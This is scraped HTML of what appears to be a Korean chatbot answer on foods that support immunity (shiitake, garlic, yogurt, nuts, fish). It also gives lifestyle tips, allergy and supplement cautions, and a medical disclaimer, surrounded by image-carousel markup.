externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.morenature.co.kr/board/magazine/read6.html?no=88559&board_no=16"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="표고버섯 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQHHbIWvEyh_iMp52w3DLgglqBkjS4wF6rZdxM6e6tHF3Fb9oJXyEB5m62PjzSk"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><carousel-controls _ngcontent-ng-c3703011817="" overlay="" _nghost-ng-c4058035839="" class="ng-star-inserted"><div _ngcontent-ng-c4058035839="" class="auto-hide-side-arrows"><div _ngcontent-ng-c4058035839="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c4058035839="" class="carousel-dots"><div _ngcontent-ng-c4058035839="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c4058035839="" class="dot ng-star-inserted"></div><div _ngcontent-ng-c4058035839="" class="dot ng-star-inserted"></div></div><div _ngcontent-ng-c4058035839="" class="carousel-button-container previous swipeable-area"></div><div _ngcontent-ng-c4058035839="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c4058035839="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button mat-unthemed mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c4058035839="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c4058035839="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></div></div></carousel-controls><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://m.morenature.co.kr/board/magazine/read6.html?no=88559&board_no=16" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRs3Pp8l_NsZxIHfygckFFNoQcklhUEbRJWbSXpfOz8100sEXEr1ht18jh32IQRwWgGxAM0pHoL3SVb0VV1Mn4welSTp0FFKzSxk0Wc"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">m.morenature.co.kr</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 표고버섯 </div></div></single-image></image-carousel></response-element></div></p> </li> <li data-sourcepos="17:1-19:0"> <p data-sourcepos="17:3-18:13"><strong>마늘:</strong> 알리신 성분이 강력한 항균 작용을 하여 면역력 강화에 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%A7%88%EB%8A%98"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="마늘 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRq2INcC-gonx38uWjMGAzd8m_Z1iL2NRRHYan7VlEPQnZa3s8pNq__LFgoI3q5"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%A7%88%EB%8A%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마늘 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="20:1-22:0"> <p data-sourcepos="20:3-21:14"><strong>요거트:</strong> 프로바이오틱스가 장 건강을 개선하고 면역력 강화에 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6972437"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="요거트 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQBAUGznxsiSiMtaj-t4oqr3p2yIW9fIgHIfCwKogWkXwyJThcJKw1R-nwoi6_K"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6972437" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 요거트 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="23:1-26:0"> <p data-sourcepos="23:3-25:13"><strong>견과류 및 씨앗:</strong> 비타민 E, 아연 등 면역력 강화에 필요한 영양소가 풍부합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><image-carousel _nghost-ng-c3703011817="" class="ng-star-inserted"><single-image _ngcontent-ng-c3703011817="" class="carousel-image ng-star-inserted" _nghost-ng-c1321938624="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="견과류 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRNxVLMXBTJGfUtYWmGYrluhJkDDZaeUjGycgg4KVCp5dkefl5wi8rrWI23095D"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><carousel-controls _ngcontent-ng-c3703011817="" overlay="" _nghost-ng-c4058035839="" class="ng-star-inserted"><div _ngcontent-ng-c4058035839="" class="auto-hide-side-arrows"><div _ngcontent-ng-c4058035839="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c4058035839="" class="carousel-dots"><div _ngcontent-ng-c4058035839="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c4058035839="" class="dot ng-star-inserted"></div></div><div _ngcontent-ng-c4058035839="" class="carousel-button-container previous swipeable-area"></div><div _ngcontent-ng-c4058035839="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c4058035839="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button mat-unthemed mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c4058035839="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c4058035839="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></div></div></carousel-controls><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 견과류 </div></div></single-image></image-carousel></response-element></div></p> </li> <li data-sourcepos="27:1-29:0"> <p data-sourcepos="27:3-28:13"><strong>생선:</strong> 오메가-3 지방산이 면역 세포의 기능을 활성화시켜 면역력 강화에 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true" ://happy.designhouse.co.kr/magazine/magazine_view/00010003/1605"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="생선 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQNKL812nT_zh1Q4j_V-F705beHiyXijpYpiuaFMAwf-U4_BO11ILt1AKHkn16I"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" ://happy.designhouse.co.kr/magazine/magazine_view/00010003/1605" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSnTwduMof7IoiCUk7_O7i-wBgaa_TQCnHJ6xkER_q1Z3VU0Xl-DxvKBazdUHsf3Toad4-tphTezed3_KIkGL-04bdegCTqQoxa1p9_Q_DKoA"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">happy.designhouse.co.kr</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 생선 </div></div></single-image></response-element></div></p> </li> </ul><p data-sourcepos="30:1-30:24"><strong>면역력 강화를 위한 식단 및 생활습관</strong></p><ul data-sourcepos="32:1-35:0"> <li data-sourcepos="32:1-32:59"><strong>균형 잡힌 식단:</strong> 탄수화물, 단백질, 지방을 골고루 섭취하고, 과일과 채소를 충분히 섭취합니다.</li> <li data-sourcepos="33:1-33:59"><strong>규칙적인 생활습관:</strong> 충분한 수면, 규칙적인 운동, 스트레스 관리 등을 통해 면역력을 유지합니다.</li> <li data-sourcepos="34:1-35:0"><strong>개인위생 관리:</strong> 손을 자주 씻고, 개인위생을 철저히 하여 감염병을 예방합니다.</li> </ul><p data-sourcepos="36:1-36:8"><strong>주의사항</strong></p><ul data-sourcepos="38:1-40:0"> <li data-sourcepos="38:1-38:34">특정 음식에 알레르기가 있다면 해당 음식은 피해야 합니다.</li> <li data-sourcepos="39:1-40:0">면역력 강화에 도움이 되는 건강기능식품을 섭취할 때는 전문가와 상담하는 것이 좋습니다.</li> </ul><p data-sourcepos="41:1-41:114"><strong>Disclaimer:</strong> 이 정보는 일반적인 건강 정보를 제공하기 위한 것이며, 의학적 조언을 대체하지 않습니다. 특정 이나 건강 상태에 대한 상담은 반드시 의사 또는 전문가와 상의하시기 바랍니다.</p></div> </div></div>